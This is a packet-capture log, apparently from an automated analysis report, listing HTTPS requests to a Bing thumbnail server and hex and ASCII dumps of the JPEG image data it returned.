2024-11-05 19:50:54 UTC	16384	IN	Data Raw: c7 cc 7f 30 6d ce 70 38 eb 8a 52 9a 82 bc 8c 9b 7d 0d db 8f 2f c3 b0 f9 71 34 6d 2c 8c 43 37 dd 66 e3 a5 2f c7 b9 b5 38 f4 db 1d 2d f6 c7 0d ac 40 ca aa df f2 d3 ee 9f af cc 0f 3d fe 95 c8 35 ae a3 e2 0d 62 d7 4b 82 e5 56 ea 7b b8 e3 6f 33 2c b1 e4 80 5d 8f 65 ef 5d 07 c7 ab fd 32 e3 c4 d7 56 fa 5c f2 4f b6 40 b2 4b 22 ed f3 88 ee 3d bb d7 8d 8c 6a ad 68 be da fe 87 ab 96 a9 41 4d be b6 5f 71 b3 f0 3f 42 b2 bc f0 ac 77 77 b1 2c be 5d cc 92 6d 91 77 2e 72 30 7f 0d b5 9f a5 f8 77 5b 5f 8a da ad ce 95 2a c6 b2 33 79 f3 af cd b4 49 ce d1 9f e2 38 ad ef 82 f6 e7 fe 11 78 a2 96 75 58 e7 59 0c 6b ff 00 3d 31 c1 6c 7a 0a ef b4 ad 2e cb 49 56 11 2e e9 27 6d f2 33 75 62 7b 9a ba 6d d8 e8 a9 4e f3 77 ea 70 1e 21 d2 27 d3 b4 3b 38 e7 d4 20 92 e2 2b b6 99 a5 93 e4 f2 Data Ascii: 0mp8R}/q4m,C7f/8-@=5bKV{o3,]e]2V\O@K"=jhAM_q?Bww,]mw.r0w[_*3yI8xuXYk=1lz.IV.'m3ub{mNwp!';8 +
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: e3 70 ca f2 37 ca bf 75 6b 72 db 4e 44 5f 9d b9 ab 51 db c6 92 29 db 4f eb 11 8a b4 48 fa bc e5 b9 9d 6b 68 9b b6 18 95 57 fc 2a e2 e2 16 54 fb c1 a9 ee 63 32 30 1d 7f d9 a8 2e ae 6d f6 e2 39 d5 8a b6 24 fe 25 53 59 fb 67 2d 8b 58 74 b7 13 52 97 10 ef ef d2 b0 21 bd 8e 6b 89 22 82 56 6f 2a 4c 49 fd d5 23 b1 ad 0b cb 90 ea a4 f4 8f 8d bf de a4 d1 f4 99 75 09 24 2f 13 45 0b 49 bd 99 bf 8b ff 00 af 59 4e b3 4c e8 a7 87 8d 8e 53 56 69 6f ff 00 b4 6c ef 6c e4 97 4b 68 be 69 d9 86 cc b7 1b 48 f6 f5 af 07 f8 5d ad a6 81 ab 49 a2 18 be 68 ef 98 48 bb 76 ed 04 e2 be be d5 74 e8 0f 87 6f 2c e2 b6 59 16 48 18 79 3f f3 d3 8e 9f 5a f8 79 35 0b 9b 8f 88 52 ea 71 d9 f9 31 de 48 c7 6e ec f9 7c e0 a9 f7 15 e7 e2 22 e6 dc ad 75 63 d1 c3 ce 30 49 27 ad cd ef 1c 8f 23 c4 12 Data Ascii: p7ukrND_Q)OHkhWTc20.m9$%SYg-XtR!k"VoLI#u$/EIYNLSViollKhiH]IhHvto,YHy?Zy5Rq1Hn\|"uc0I'#

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49718	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:54 UTC	375	OUT	GET /th?id=OADD2.10239340418544_1U65HGUXV07UFEU5B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-05 19:50:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 800536 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FC4399025950467584AFC92601F9A450 Ref B: DFW311000105021 Ref C: 2024-11-05T19:50:54Z Date: Tue, 05 Nov 2024 19:50:53 GMT Connection: close
2024-11-05 19:50:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 62 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 32 3a 35 32 3a 33 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``bExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 22:52:388
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: f4 d3 49 04 92 3c 92 49 73 2a 6c 91 ff 00 87 ee 73 fe 79 ae 47 52 f1 7e ad ff 00 1e b0 6a 57 7e 64 71 79 92 c9 14 bf 3f cd 44 a9 b9 cf dd 12 9a 82 d4 f4 6f 10 5d c1 7b 77 72 f0 5e 7f a2 c7 27 ef 3f bf f3 7f 8d 79 ff 00 8a bc 43 1d c6 9f 1e 9d a7 4d a8 49 04 7f eb 2f 62 8b e4 b8 7f e1 5e d5 91 7c b7 ff 00 64 de 97 97 7e 65 c4 89 fb c9 7f d9 4a 96 d6 c6 7b 7d 26 e5 d2 6f 32 49 23 f2 e4 96 29 77 fe f6 b5 50 e5 49 99 b9 29 e8 65 eb 13 c6 f6 91 d9 24 37 77 3e 5e cf 32 e6 29 53 f8 be 6d ab 57 2d e7 92 d2 19 1e 09 a6 f2 e3 fd e7 97 73 2f f7 7f bb ff 00 c4 d1 e1 1b 39 ee 34 ff 00 b6 f9 30 fe f2 4f de 79 bb 37 ee ff 00 66 b5 2f 96 07 bb d9 3d e4 3e 64 91 fe ef f7 3f eb 2b 5b db 42 21 14 fd e3 de fc 69 73 b3 c3 df da f2 43 34 91 dc 7f c7 cf df ff 00 44 8a 7b 6f 96 Data Ascii: I<Is*lsyGR~jW~dqy?Do]{wr^'?yCMI/b^\|d~eJ{}&o2I#)wPI)e$7w>^2)SmW-s/940Oy7f/=>d?+[B!isC4D{o
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: df 6f 71 24 51 fc b1 af cb f7 ff 00 da fe 26 e9 ba b8 31 b8 65 3c 4c 22 e2 ed a5 fc 87 86 8b 9c 6e 8e c7 c4 fa 55 d2 f8 47 5b d2 7c 29 a0 69 f6 ff 00 db 1a 0d cc 11 47 6d 6a 8e df bb 43 b1 e5 9d 77 79 de 66 76 aa f6 af 99 b4 7b 1f f8 48 3c 27 73 3d f5 9c d6 5a ad be ff 00 b6 db 7f a9 f2 ee a3 f9 be eb fc c9 f3 57 d0 df 16 b5 bb 0d 27 e1 c4 be 74 d0 e9 bf d9 fb 2e 2c ad b4 8f df 3c 0f 1f dd 48 d3 ee 20 dd f7 b7 7c b5 f3 b7 c2 1d 5e ef 5d d2 75 2b a7 d6 21 bd d4 a4 bd f3 ee 7e dd 2f fc b5 d9 f3 36 ee 5f 95 ae ea d3 f6 14 1c 97 4b 1e 8c 52 73 49 f6 25 b1 82 49 7f 7e 9f e9 12 7d a5 23 f3 25 f9 d2 47 6f 97 e7 fe f2 f6 ad 4b af 3e cb 49 b9 b2 b2 bc bb b2 82 3d 4b cb b9 b6 96 5d fe 64 aa 9f 3c cf 1a 7d fc 7f f5 ab 9e f0 5f 89 7f b4 3c 79 24 09 0c d1 e9 b7 b7 3f Data Ascii: oq$Q&1e<L"nUG[\|)iGmjCwyfv{H<'s=ZW't.,<H \|^]u+!~/6_KRsI%I~}#%GoK>I=K]d<}_<y$?
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: ba 3b df bf 4a 33 8c 55 93 31 67 97 49 4f 89 1e 20 d5 3c 15 36 9f a7 4f 71 7b ff 00 1e d2 c4 e9 f6 0d bf ea e3 5b 75 da 13 ff 00 66 a8 35 5d 5f 5d b8 f0 f6 89 a4 7e e7 fb 37 c3 b2 79 9e 54 5f 27 99 2c 9f f2 d6 5e ee c5 9b fe 01 54 bc 39 04 9a 7c 3a b3 ea 3e 4c 9a 95 bd cb f9 7e 6f ef a6 bb dd fd ef f3 f7 a9 ba 97 f6 4d bd a5 b7 9f e7 47 aa dc 6a 49 24 76 df f2 c6 3b 7d 9f c7 db 76 ea f7 30 18 4a 54 a0 a6 9d db 4b 53 c8 c5 49 dd c3 64 45 e2 36 7b 7d 5a 4d ff 00 bb 92 3b 64 8e db ca ff 00 3f 7a a8 78 9a 0b bb 7f 2e 0f 3a d2 e3 ed 11 fd a3 cc 8a 5f 93 7f f1 2b 37 f7 85 6a 78 f3 cc 8b c4 51 bd af 9d e7 fd 9b fd 37 f8 fc b7 ff 00 f6 6b 0f c4 cb f6 b9 a3 78 3c e8 ed 6d e3 fd df 9b f7 ff 00 ef 95 af 46 4e fa 9c 49 34 65 dc 2f da ed 3e cb ff 00 2c e4 91 23 93 ca Data Ascii: ;J3U1gIO <6Oq{[uf5]_]~7yT_',^T9\|:>L~oMGjI$v;}v0JTKSIdE6{}ZM;d?zx.:_+7jxQ7kx<mFNI4e/>,#
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: ff 00 3e ef b9 22 fc cd f3 7c 9e bf ee d7 1e 26 a6 32 2e 31 a1 6e 4e b7 5a af 47 ff 00 00 d3 92 16 bb 76 67 a3 69 1e 35 b4 d3 e5 d2 2c ae ac e2 93 4a d6 7f e3 df 56 bd bb 7b cb 4f de 3f cb 1f 9d b7 ef 48 db b1 e6 6d 5a f4 8b 2b bb d5 d4 ad a1 78 36 59 7d 9d fc c9 22 8b f7 41 d5 fe ef f7 bf a5 60 f8 bb 42 79 e4 99 74 1b 4f 0f a6 a9 1d bf 97 6d 6d a9 45 be d9 fb aa cb 1a f3 fe eb 2f e5 58 d0 cb e3 15 f1 05 89 d4 66 16 fa 52 5b f9 1a 94 7a 95 d2 43 37 9c ef f2 b5 bc b1 fc 98 5f e1 5f 95 99 6b 67 69 6c 51 df 6b 96 fa 17 8a 3c 3f 7b a2 ea 22 2b cb 2b cb 7f 22 e6 da 48 fa ab f1 ca b5 7e 60 fc 77 f8 65 e2 0f 85 3e 3a 97 c3 7a ec 26 44 f9 e4 d3 6f 7f e5 95 fc 1f c2 eb fe d7 f7 97 b5 7e 8c df f8 77 c4 12 ea 12 cf a7 eb d7 72 5a dc 5b f9 7e 54 b7 5f e8 f0 3a fd d9 Data Ascii: >"\|&2.1nNZGvgi5,JV{O?HmZ+x6Y}"A`BytOmmE/XfR[zC7__kgilQk<?{"++"H~`we>:z&Do~wrZ[~T_:
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 66 92 4b 7d 26 6b 48 ae 7c df f9 eb 36 e5 83 6f f7 d1 b7 ab 7f b3 b0 d6 dd af 99 7b f6 98 35 49 bc cb 5f 2d 2e fc bf bf e5 bf 9c 9f 27 fb 34 df 1e 69 9e 6e 9d 73 a5 e9 7e 74 72 5e de dc db f9 97 3f 3f fd 34 67 ff 00 ec a9 26 ec 5e 97 3c 76 05 9e 58 a3 83 ce ff 00 57 5e 9d f0 76 f2 4d 77 e1 be b7 e1 7d 47 c9 b2 82 ca d9 e3 fb 4f f0 6c 97 7f de ff 00 81 d7 2f 05 b4 73 7c 3d b1 d5 e7 87 cb 93 4e bd 78 ed ae 62 f9 d2 fe dd 9f e6 57 ff 00 6a 3d fc 33 7d ea eb 7e 04 58 ce fa b7 88 2c 9e ce 6f b2 6b 56 c9 1d b7 9b 17 fa 35 c3 ae ff 00 33 6b 7b 23 d3 9c 5d 89 4e ed 1e 69 a3 cf 77 71 0c 69 ff 00 4c e8 ba 82 4b 7f bf fe b3 fd 64 7f f4 d2 b4 b4 db 69 ed fc 33 fb ff 00 26 3f ec eb d7 8e 38 ff 00 e5 b4 8e af b5 be ef f0 d6 8f 8a b5 79 f5 ab 48 ee 9e 18 7f 77 17 fa c8 Data Ascii: fK}&kH\|6o{5I_-.'4ins~tr^??4g&^<vXW^vMw}GOl/s\|=NxbWj=3}~X,okV53k{#]NiwqiLKdi3&?8yHw
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 65 7d f0 e6 7b af 0f c5 ad ff 00 c2 37 a8 6a 3a 56 ab 6c 97 91 5c db 7f b5 f7 93 fb eb b3 f8 bf 3a fa 65 84 c3 61 ea c5 a9 72 db 45 ad 8f 2b 9a ee ed 5c e9 75 cb a8 ff 00 b5 ae 6c a0 d6 26 92 09 2e 7c cb 9b 9b 68 9d 2d a4 45 44 fd d7 95 d3 f7 7e bf de a7 e8 f6 d6 97 77 71 ec 9a 68 e4 f3 7c bf dd 4b f3 ff 00 e3 be b5 4f c3 9e 23 bb b7 f0 6f f6 45 96 9b 0e 9d a5 49 be de da 48 be 7f b5 ff 00 cf 5d db fe e3 6e fe e5 59 f0 ae bd 69 a5 6a d6 37 57 5a 6f 99 1c 77 29 6f 24 91 43 bd e3 4d fb 7e ed 7a fa 31 45 d8 f4 6b ed 3e 3d 27 4f 8f 54 82 18 ae 2e bf e3 de 39 25 b4 df f6 7d df 7b d9 7e 6a 3c 39 14 77 7e 1e b1 47 d1 e6 b2 8e 38 d3 fd 1a 5d 9b 37 ff 00 7b ff 00 66 ae 6a e3 5e d0 af 61 be f0 f7 8b fe d7 24 76 57 2f 1c 72 58 cb be 1f fc 76 ba 3d 57 5e b4 fe c3 b1 Data Ascii: e}{7j:Vl\:earE+\ul&.\|h-ED~wqh\|KO#oEIH]nYij7WZow)o$CM~z1Ek>='OT.9%}{~j<9w~G8]7{fj^a$vW/rXv=W^
2024-11-05 19:50:54 UTC	16068	IN	Data Raw: 97 7b 6d 73 a8 3c cf 68 ff 00 dd 6f 96 b6 7e 21 69 1a 16 83 6b 1e 89 e1 ef b5 d9 6b 97 b7 2f e5 c7 2e cf 27 e5 7f 9a 29 13 f9 3d 55 bb d3 2e ed ff 00 e2 6f 6b 0c d2 5f 5b c7 e4 5c c7 73 2f fc 7c 6d fe f3 7f 7b d2 be a2 34 d3 93 76 d4 f2 27 55 a4 92 7a 12 c7 15 fd bc df f1 f9 a7 c7 1c 7f eb 3f d1 37 ff 00 e3 ad f7 e9 f1 c7 3d bc 3f 6a fe d2 86 df cb d9 1f fc 83 d3 66 cd ff 00 dc a6 69 ba 84 17 b7 5f 3f fa 3c 9e 5a 79 96 d7 3f 24 d6 ef fd d7 fe 8c b5 2c 97 30 79 32 41 04 d0 f9 9f f5 d7 7d 4d a1 17 b1 77 9b 56 b9 d5 43 e0 4d 67 c6 9e 2c d4 b4 4f 0f e9 b0 f8 9b 55 8e da 1f b4 7d a6 54 4b 4b 0f 93 67 ef 1f a7 1f c3 b7 e6 af 7c fd 9e 7e 15 7c 34 f0 95 e4 5a 4d ed e5 a7 88 7c 55 a3 3a 60 de c7 9f b0 b2 63 fe 3d 51 be e0 f9 97 a7 35 f3 f7 ec db f1 03 55 d3 6c f5 Data Ascii: {ms<ho~!ikk/.')=U.ok_[\s/\|m{4v'Uz?7=?jfi_?<Zy?$,0y2A}MwVCMg,OU}TKKg\|~\|4ZM\|U:`c=Q5Ul
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 8a 67 f6 1c 1a 7f d9 a7 86 1f 2e 3f b3 3d bc 92 45 fe e7 de 6f f6 ab 5f c3 8b 1d bc d1 e9 09 e4 c7 07 d9 be d7 fd ff 00 9d 9f 6b 55 5d d2 5c 5d dc cf 6b 0c d7 33 db c7 e5 c5 24 52 ff 00 ac dd fa 57 44 61 65 a1 93 96 a6 5e 9b 69 f6 7f b3 6c fd e7 97 e7 47 24 71 7f cf 26 aa 5e 1c b6 93 50 f1 0c 9a 5e a3 0c d7 11 c7 73 f6 fb 2f b8 ff 00 bd d9 b2 5f 93 fe f8 ad bd 56 58 22 d4 23 82 7f f4 8f 32 44 b7 8e 48 be 4f 9e 9f e1 fb 3f b5 f8 9a 37 8e 18 7f 77 be e3 f8 ff 00 85 36 7f 0f fb 35 cb ca e3 5d 58 da e9 d3 7a 06 8f a5 41 a3 ea 12 4f 6b e7 7e f2 37 8e e7 f7 df 26 fd ff 00 77 65 32 d6 09 e5 bb b6 74 86 19 23 ff 00 57 ff 00 5c df 7f cc f5 bd 7d 63 3c b3 7c f0 da 7e f3 fd fd ff 00 ce a0 83 cf 8a d2 4f dc c3 e5 f9 9f f2 ca 2f f5 7b 6b a3 91 b3 1e 64 63 78 99 63 fb Data Ascii: g.?=Eo_kU]\]k3$RWDae^ilG$q&^P^s/_VX"#2DHO?7w65]XzAOk~7&we2t#W\}c<\|~O/{kdcxc
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: ff 00 b7 67 b1 7f 86 af ea b7 9a b2 78 b3 fb 2e 7b 3f f4 59 3f 79 1d ec 52 fc ff 00 32 7f e3 95 83 e1 9d 5e 34 86 e7 4b b5 fb 27 ee ff 00 d5 c7 ff 00 3e fb 9d 1f 62 ed ae ff 00 c4 17 9f 68 d7 2e 5d fc 9f dd ec 8f ca 96 2f f6 2b a6 9c 54 92 77 df 51 54 93 5f 23 b6 f0 ae b5 05 df 84 ed ad 52 18 63 ba b2 93 fd 1a 48 a2 fd ce f5 4f bd 56 20 bc b4 fb 54 70 7d b2 d3 f7 9f bc 92 4f b9 5c bf c2 b6 8e ef 50 d4 a0 9e 69 bc bb 79 21 93 f7 51 7f 7b fe 9a 7f 75 ba 15 fc 6a be ab a1 f8 96 e3 50 d6 f5 4b a9 b4 fb 8b 1f 9e de db 49 8a d1 fc eb 3d af f2 3b 7f 73 e5 f9 ce df bd 54 ec a5 6b 0a f2 68 e8 74 ad 56 d2 df cc d3 a0 bc 86 e2 3f 33 ec fe 5c b7 7b fc bf e2 56 f9 bd 69 de 0b d6 bf b5 62 8b ed b6 73 69 d2 5b dc bf fa 34 bb 3f 78 9f c0 df 2f f0 bd 73 be 0b d3 e4 d3 34 Data Ascii: gx.{?Y?yR2^4K'>bh.]/+TwQT_#RcHOV Tp}O\Piy!Q{ujPKI=;sTkhtV?3\{Vibsi[4?x/s4

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49719	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:54 UTC	375	OUT	GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-05 19:50:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634564 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CB272DAE08D64F45B2B3C583EF736D4C Ref B: DFW311000102017 Ref C: 2024-11-05T19:50:54Z Date: Tue, 05 Nov 2024 19:50:54 GMT Connection: close
2024-11-05 19:50:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a a0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:028
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 6c a6 22 16 4a 4d b5 3e ca 46 4a 40 41 b6 93 6d 4e c9 48 c9 54 04 2c b4 9b 6a 6d b4 8c b4 01 03 03 4b b6 a5 db 49 40 11 62 92 a5 db 49 b7 14 01 1d 23 0a 93 6d 1b 68 02 2a 4d b5 2e da 4d b4 01 16 da 46 15 2e da 46 5a 00 89 85 35 85 4c cb 48 cb 40 11 50 c2 a4 a4 db 40 11 ed a4 db 52 30 a4 c5 16 01 94 98 a7 d0 c3 14 00 cc 51 8a 72 d2 f3 48 68 d7 f0 1d aa 5c eb d1 87 5d db 7f 86 bd 86 c5 02 7e ec 74 5a f2 0f 03 1b 94 d6 23 fb 3a ed 2c d8 dc df 75 7d 6b d7 f4 95 73 1e 64 6d cd 5e 16 65 7f 68 8f 5f 07 fc 32 ea 2d 39 96 9e ab 4b b6 bc d3 a8 8b 65 35 97 15 63 6d 46 eb 40 10 b2 fa d2 2c 78 6a 9b 6d 2a ae 68 01 8a b4 ec 66 97 18 a1 b8 a0 06 32 d3 58 53 99 a9 ad 40 02 8a 55 41 4a 83 34 f5 14 00 d5 4a 5d 94 f5 a7 63 34 01 0e ca 19 2a 5c 51 b6 80 2b 32 d3 1d 6a cb 25 Data Ascii: l"JM>FJ@AmNHT,jmKI@bI#mhM.MF.FZ5LH@P@R0QrHh\]~tZ#:,u}ksdm^eh_2-9Ke5cmF@,xjmhf2XS@UAJ4J]c4*\Q+2j%
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: d4 03 ad 4b 7f 69 3d b5 c6 25 89 a3 dd f7 77 52 2a b0 e0 57 42 b5 b4 31 d9 d8 6f 2d cd 3b cb 1b 68 da 43 7b 53 9b 23 a5 16 02 2d bf 37 34 bb 30 bc 54 ca 85 bf 86 94 c6 47 d2 80 3e df 98 40 d5 52 64 8c 37 15 88 b7 d3 8e bb aa 44 bd 62 d8 35 f3 1e c9 9e bf 3a 2e cd 20 15 56 49 f6 f2 1a a4 8e 68 df ef d2 b4 10 3f 22 9a 49 0b 52 aa 5d b9 91 76 6e cd 6c 5b db dc 35 be f9 6e 76 b7 f7 56 a8 b5 b4 69 ca 54 b8 22 3e 5a 9e 9d 03 52 c2 e8 b7 77 16 ed 25 bc ea c7 fd aa aa fa 2e bf 0c ca 65 81 a5 8f fe 99 b0 6a bd a5 6a 7f 65 93 cb 92 5d aa d5 d1 d8 de 09 d7 31 ce ac 29 7b 59 c7 a6 81 ec e3 23 9d b3 b5 96 39 17 ed 3e 7c 5f dd 5d b5 aa 91 a4 51 ef 93 76 2b 61 b0 cb f3 ed 6a 14 c1 f7 0d 63 29 f3 33 45 1b 18 49 7f 66 f2 6c f3 76 ed a6 dd 6a 36 f0 cc a3 cd 56 ad bb 8b 7b Data Ascii: Ki=%wR*WB1o-;hC{S#-740TG>@Rd7Db5:. VIh?"IR]vnl[5nvViT">ZRw%.ejje]1){Y#9>\|_]Qv+ajc)3EIflvj6V{
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: cf 7b e1 5b 49 e2 f3 06 e6 82 42 9e 5a 7e 39 dc 6b c6 23 8e cd ad d4 c9 3f 97 27 f1 7f b2 3e 95 14 96 c8 f2 32 5b 4a d2 2f 5d df 75 ab 9e a6 0e 8c b7 5a 9b 43 15 52 3b 3d 0f b1 fc 1b e3 cf 03 f8 bb ca 8f 4a d6 15 6e 64 5c b5 b4 bf 23 af b7 cd 8a dc 6b 4b 39 ee a4 b7 83 51 b6 69 62 ff 00 59 1a ce 19 97 ea 33 5f 12 d8 e9 b7 23 6c f2 ce d6 c5 57 30 36 ed ad 91 fc aa ce 95 77 ac 5b 5c 4b 2c 1a 9b 45 23 7c 92 4a d2 9d cc 33 fa d7 9b 57 2f 8a 7e e4 b4 3b 61 8c 6f 78 9f 66 dd 78 76 e1 97 72 32 d6 79 f0 bd cb b7 cf d6 be 76 d0 fe 30 fc 40 d2 b4 78 ec ad f5 af 36 18 24 f9 64 b9 84 3b c8 3d 32 79 c5 7a 07 86 3f 68 fb 39 b7 0d 7f 43 9e db 6b 01 e6 db 48 1d 7d fa ff 00 4a e7 78 5a d1 f8 5d cd a3 88 a4 f7 3d 3a 1d 06 ee 26 d9 4f b8 d2 2e 23 5f ba d9 6a 8f c1 ff 00 10 Data Ascii: {[IBZ~9k#?'>2[J/]uZCR;=Jnd\#kK9QibY3_#lW06w[\K,E#\|J3W/~;aoxfxvr2yv0@x6$d;=2yz?h9CkH}JxZ]=:&O.#_j
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: dd 3a 54 ce 4b 62 a2 9b d4 a8 b0 ef f3 23 8d 59 b7 67 cc 6e 77 2e 7d 69 77 45 0d ab 07 89 58 af 0a cd f3 37 d4 d4 9a 85 c2 5b db b4 10 45 e6 aa ae 19 95 bd 7f 2a 21 49 5a 38 fe 5d ab 22 fc b1 47 8f 9a a7 a5 d9 7d 4a 91 cb f6 98 56 48 e2 93 ef 79 71 ee c7 5e e6 99 7f 11 2d 81 b9 59 7f bd f2 d6 fc 76 f0 24 8a ee b2 46 b0 2e 59 be ea 2e 7d 07 f1 1a c4 d6 2e 23 46 8d d2 39 3c c9 18 ff 00 ac fb b8 1d c8 14 53 95 de 81 25 65 a9 95 24 2f 04 db ce dd ad f7 7f cf 4a 7c 93 94 8f 9e af f7 b6 af cc b5 66 6d 92 43 88 f6 ca 37 7d ef 2f 6e df ce a9 dc 10 93 33 a2 ed 8f a3 6e ae 95 ae e6 3b 0c be 73 1c 6a 0b 48 dd 0f f7 79 34 db 11 28 93 cc 9d 59 8f 45 5f ad 4b 72 4d c3 2c b2 33 79 6b fe d7 f5 ab 56 26 54 8f fd 6f 3b 7e 5f 33 e5 eb e9 4d e9 12 3a 8f 51 12 48 d2 3f cc cd Data Ascii: :TKb#Ygnw.}iwEX7[E*!IZ8]"G}JVHyq^-Yv$F.Y.}.#F9<S%e$/J\|fmC7}/n3n;sjHy4(YE_KrM,3ykV&To;~_3M:QH?
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: ea b4 e8 6d a4 7b a8 e3 45 59 0c 8c 02 ab 7b d7 56 cb 53 0e aa c4 4c c5 9b fb c3 f8 ab 73 e1 df 86 ae fc 45 ac 2c 45 59 6d 57 fd 64 ab 19 66 5f 61 8e f5 de 78 47 c0 7a 3e 9d 0c 5a a6 b7 6c d7 82 45 ff 00 56 df 34 2a 47 56 ea 3e 5e d9 39 a8 ae 7c 53 6f a7 47 75 1e 9c b0 69 f6 f2 49 88 96 38 19 56 6c f7 cf 70 3d ab c8 ad 98 ba 8a 50 c3 ab be e7 7d 3c 27 2b 52 a8 fe 47 6d e1 3b ad 2a c2 e1 b4 2d 12 d3 cb 48 17 f7 ad 2b 6c dd c7 52 40 fe b5 8f ab 6b 51 41 74 b0 5e dc ac f1 c4 c6 48 e4 dc ea 8a 47 41 ce 33 8a 97 c2 36 3a 85 95 af da f5 0b cd d1 ce db 97 cb f9 77 03 f5 3c 7e b5 8d f1 0a dd 2e 64 51 24 17 37 9b 72 62 8a d1 b7 32 a6 3f 88 8c f1 9a f0 29 d3 84 ab b4 dd fc ff 00 e1 cf 5a 53 6a 9e 87 31 36 9f aa 78 bf 52 64 4b c5 88 46 ac ed 23 30 db 8c f0 02 2f 3f Data Ascii: m{EY{VSLsE,EYmWdf_axGz>ZlEV4GV>^9\|SoGuiI8Vlp=P}<'+RGm;-H+lR@kQAt^HGA36:w<~.dQ$7rb2?)ZSj16xRdKF#0/?
